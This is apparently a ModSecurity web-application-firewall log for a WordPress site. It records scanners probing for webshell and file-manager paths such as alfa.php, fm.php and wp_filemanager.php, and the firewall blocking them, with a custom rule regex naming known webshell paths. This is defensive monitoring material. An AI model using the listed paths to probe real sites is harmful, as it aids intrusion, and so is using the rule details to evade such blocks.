[Fri Apr 03 03:20:36.169422 2026] [:error] [pid 6754:tid 6772] [client 20.107.223.239:35907] [client 20.107.223.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac7BhCueCuy-hU9kX37hUAAAAg8"]
[Fri Apr 03 03:20:36.890531 2026] [:error] [pid 6638:tid 6648] [client 20.107.223.239:41046] [client 20.107.223.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac7BhM2khZ4zPe7L5k6AvgAAAUQ"]
[Fri Apr 03 04:16:01.911566 2026] [:error] [pid 22778:tid 22808] [client 43.159.143.190:43500] [client 43.159.143.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ac7OgfS-q9hkdFqUjq9I1gAAANc"]
[Fri Apr 03 05:05:06.617101 2026] [:error] [pid 22672:tid 22738] [client 20.104.201.101:1990] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "ac7aAqzrgXkFSOK0fvp2-gAAAFM"]
[Fri Apr 03 05:05:15.945761 2026] [:error] [pid 22778:tid 22802] [client 20.104.201.101:2027] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "ac7aC_S-q9hkdFqUjq9mUwAAANE"]
[Fri Apr 03 05:05:22.935763 2026] [:error] [pid 22778:tid 22799] [client 20.104.201.101:1924] [client 20.104.201.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.104.201.101, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ac7aEvS-q9hkdFqUjq9migAAAM4"]
[Fri Apr 03 05:05:42.017673 2026] [:error] [pid 22672:tid 22724] [client 20.104.201.101:1922] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "ac7aJqzrgXkFSOK0fvp3MgAAAEU"]
[Fri Apr 03 05:05:44.725616 2026] [:error] [pid 58590:tid 58603] [client 20.104.201.101:1933] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "ac7aKEze_aEPDM9xEE2arwAAAQs"]
[Fri Apr 03 05:05:46.137212 2026] [:error] [pid 22673:tid 22749] [client 20.104.201.101:1934] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "ac7aKu-GlVDWdWxxwJBzBgAAAIM"]
[Fri Apr 03 05:05:46.243881 2026] [:error] [pid 58590:tid 58603] [client 20.104.201.101:1959] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "ac7aKkze_aEPDM9xEE2avQAAAQs"]
[Fri Apr 03 05:05:47.411165 2026] [:error] [pid 22673:tid 22770] [client 20.104.201.101:2038] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "ac7aK--GlVDWdWxxwJBzDAAAAJg"]
[Fri Apr 03 05:05:47.972855 2026] [:error] [pid 22778:tid 22794] [client 20.104.201.101:2047] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "ac7aK_S-q9hkdFqUjq9m-QAAAMk"]
[Fri Apr 03 05:05:48.503700 2026] [:error] [pid 22778:tid 22803] [client 20.104.201.101:1923] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "ac7aLPS-q9hkdFqUjq9m_AAAANI"]
[Fri Apr 03 05:05:49.099718 2026] [:error] [pid 22673:tid 22751] [client 20.104.201.101:2021] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "ac7aLe-GlVDWdWxxwJBzEQAAAIU"]
[Fri Apr 03 05:05:49.565069 2026] [:error] [pid 22778:tid 22790] [client 20.104.201.101:1920] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "ac7aLfS-q9hkdFqUjq9m_gAAAMU"]
[Fri Apr 03 05:05:50.493577 2026] [:error] [pid 58590:tid 58612] [client 20.104.201.101:2002] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "ac7aLkze_aEPDM9xEE2aygAAARQ"]
[Fri Apr 03 05:05:50.595167 2026] [:error] [pid 58590:tid 58616] [client 20.104.201.101:1999] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "ac7aLkze_aEPDM9xEE2aywAAARg"]
[Fri Apr 03 05:05:51.542528 2026] [:error] [pid 22671:tid 22694] [client 20.104.201.101:1981] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "ac7aLyRuUnMW7r8hvyY75wAAAAM"]
[Fri Apr 03 05:05:51.604539 2026] [:error] [pid 22778:tid 22791] [client 20.104.201.101:2006] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "ac7aL_S-q9hkdFqUjq9nBAAAAMY"]
[Fri Apr 03 05:05:52.398719 2026] [:error] [pid 22672:tid 22727] [client 20.104.201.101:1956] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "ac7aMKzrgXkFSOK0fvp3RgAAAEg"]
[Fri Apr 03 05:05:52.744845 2026] [:error] [pid 22671:tid 22712] [client 20.104.201.101:1937] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "ac7aMCRuUnMW7r8hvyY76gAAABU"]
[Fri Apr 03 05:05:53.337291 2026] [:error] [pid 22673:tid 22754] [client 20.104.201.101:2018] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "ac7aMe-GlVDWdWxxwJBzIQAAAIg"]
[Fri Apr 03 05:05:53.969545 2026] [:error] [pid 22671:tid 22692] [client 20.104.201.101:2043] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "ac7aMSRuUnMW7r8hvyY77gAAAAE"]
[Fri Apr 03 05:05:54.409357 2026] [:error] [pid 58590:tid 58611] [client 20.104.201.101:2010] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ectoplasm/wp-login.php"] [unique_id "ac7aMkze_aEPDM9xEE2a3gAAARM"]
[Fri Apr 03 05:05:55.052180 2026] [:error] [pid 22778:tid 22789] [client 20.104.201.101:1987] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "ac7aM_S-q9hkdFqUjq9nEQAAAMQ"]
[Fri Apr 03 05:05:55.806141 2026] [:error] [pid 58590:tid 58612] [client 20.104.201.101:1859] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "ac7aM0ze_aEPDM9xEE2a5AAAARQ"]
[Fri Apr 03 05:05:56.352350 2026] [:error] [pid 22673:tid 22758] [client 20.104.201.101:1998] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ectoplasm/wp-login.php"] [unique_id "ac7aNO-GlVDWdWxxwJBzJgAAAIw"]
[Fri Apr 03 05:05:56.722446 2026] [:error] [pid 58590:tid 58599] [client 20.104.201.101:2012] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "ac7aNEze_aEPDM9xEE2a5wAAAQc"]
[Fri Apr 03 05:05:57.297975 2026] [:error] [pid 58590:tid 58609] [client 20.104.201.101:2027] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ectoplasm/wp-login.php"] [unique_id "ac7aNUze_aEPDM9xEE2a7QAAARE"]
[Fri Apr 03 05:05:57.382420 2026] [:error] [pid 58590:tid 58596] [client 20.104.201.101:1984] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "ac7aNUze_aEPDM9xEE2a7gAAAQQ"]
[Fri Apr 03 05:05:58.791840 2026] [:error] [pid 22671:tid 22708] [client 20.104.201.101:1986] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/install.php"] [unique_id "ac7aNiRuUnMW7r8hvyY78QAAABE"]
[Fri Apr 03 05:05:59.143129 2026] [:error] [pid 58590:tid 58603] [client 20.104.201.101:1996] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ectoplasm/wp-login.php"] [unique_id "ac7aN0ze_aEPDM9xEE2a9wAAAQs"]
[Fri Apr 03 05:05:59.950532 2026] [:error] [pid 22673:tid 22767] [client 20.104.201.101:2039] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/item.php"] [unique_id "ac7aN--GlVDWdWxxwJBzNAAAAJU"]
[Fri Apr 03 05:06:00.572800 2026] [:error] [pid 22673:tid 22764] [client 20.104.201.101:2035] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/install.php"] [unique_id "ac7aOO-GlVDWdWxxwJBzOQAAAJI"]
[Fri Apr 03 05:06:01.003215 2026] [:error] [pid 22671:tid 22709] [client 20.104.201.101:2036] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/item.php"] [unique_id "ac7aOSRuUnMW7r8hvyY7-AAAABI"]
[Fri Apr 03 05:06:01.907488 2026] [:error] [pid 58590:tid 58612] [client 20.104.201.101:2034] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/install.php"] [unique_id "ac7aOUze_aEPDM9xEE2a_wAAARQ"]
[Fri Apr 03 05:06:02.259693 2026] [:error] [pid 22778:tid 22791] [client 20.104.201.101:2030] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/item.php"] [unique_id "ac7aOvS-q9hkdFqUjq9nKAAAAMY"]
[Fri Apr 03 05:06:02.900106 2026] [:error] [pid 58590:tid 58611] [client 20.104.201.101:1977] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/install.php"] [unique_id "ac7aOkze_aEPDM9xEE2bCwAAARM"]
[Fri Apr 03 05:06:03.338700 2026] [:error] [pid 22673:tid 22765] [client 20.104.201.101:2024] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/item.php"] [unique_id "ac7aO--GlVDWdWxxwJBzPQAAAJM"]
[Fri Apr 03 05:06:04.205719 2026] [:error] [pid 22672:tid 22733] [client 20.104.201.101:2033] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/link.php"] [unique_id "ac7aPKzrgXkFSOK0fvp3WgAAAE4"]
[Fri Apr 03 05:06:05.259250 2026] [:error] [pid 22672:tid 22742] [client 20.104.201.101:1957] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/link.php"] [unique_id "ac7aPazrgXkFSOK0fvp3YgAAAFc"]
[Fri Apr 03 05:06:05.775078 2026] [:error] [pid 58590:tid 58599] [client 20.104.201.101:2023] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop/lock.php"] [unique_id "ac7aPUze_aEPDM9xEE2bEwAAAQc"]
[Fri Apr 03 05:06:07.736951 2026] [:error] [pid 22672:tid 22733] [client 20.104.201.101:2017] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/link.php"] [unique_id "ac7aP6zrgXkFSOK0fvp3aQAAAE4"]
[Fri Apr 03 05:06:10.129977 2026] [:error] [pid 22672:tid 22743] [client 20.104.201.101:1927] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/link.php"] [unique_id "ac7aQqzrgXkFSOK0fvp3cwAAAFg"]
[Fri Apr 03 05:06:10.777832 2026] [:error] [pid 22672:tid 22723] [client 20.104.201.101:1924] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "ac7aQqzrgXkFSOK0fvp3dwAAAEQ"]
[Fri Apr 03 05:06:10.849159 2026] [:error] [pid 22778:tid 22798] [client 20.104.201.101:2045] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop/lock.php"] [unique_id "ac7aQvS-q9hkdFqUjq9nOQAAAM0"]
[Fri Apr 03 05:06:11.498250 2026] [:error] [pid 22778:tid 22789] [client 20.104.201.101:1950] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "ac7aQ_S-q9hkdFqUjq9nPQAAAMQ"]
[Fri Apr 03 05:06:11.527444 2026] [:error] [pid 22778:tid 22793] [client 20.104.201.101:2014] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop/lock.php"] [unique_id "ac7aQ_S-q9hkdFqUjq9nPgAAAMg"]
[Fri Apr 03 05:06:12.070967 2026] [:error] [pid 22672:tid 22737] [client 20.104.201.101:1935] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "ac7aRKzrgXkFSOK0fvp3fQAAAFI"]
[Fri Apr 03 05:06:12.150804 2026] [:error] [pid 22671:tid 22700] [client 20.104.201.101:1951] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop/lock.php"] [unique_id "ac7aRCRuUnMW7r8hvyY8EgAAAAk"]
[Fri Apr 03 05:06:12.509878 2026] [:error] [pid 58590:tid 58597] [client 20.104.201.101:2001] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "ac7aREze_aEPDM9xEE2bKgAAAQU"]
[Fri Apr 03 05:06:12.689922 2026] [:error] [pid 22778:tid 22800] [client 20.104.201.101:1941] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/th/plugins/phpThumb/404.php"] [unique_id "ac7aRPS-q9hkdFqUjq9nQgAAAM8"]
[Fri Apr 03 05:06:13.251275 2026] [:error] [pid 22673:tid 22749] [client 20.104.201.101:1966] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/th/plugins/phpThumb/404.php"] [unique_id "ac7aRe-GlVDWdWxxwJBzVAAAAIM"]
[Fri Apr 03 05:06:13.424998 2026] [:error] [pid 58590:tid 58593] [client 20.104.201.101:2028] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "ac7aRUze_aEPDM9xEE2bLgAAAQE"]
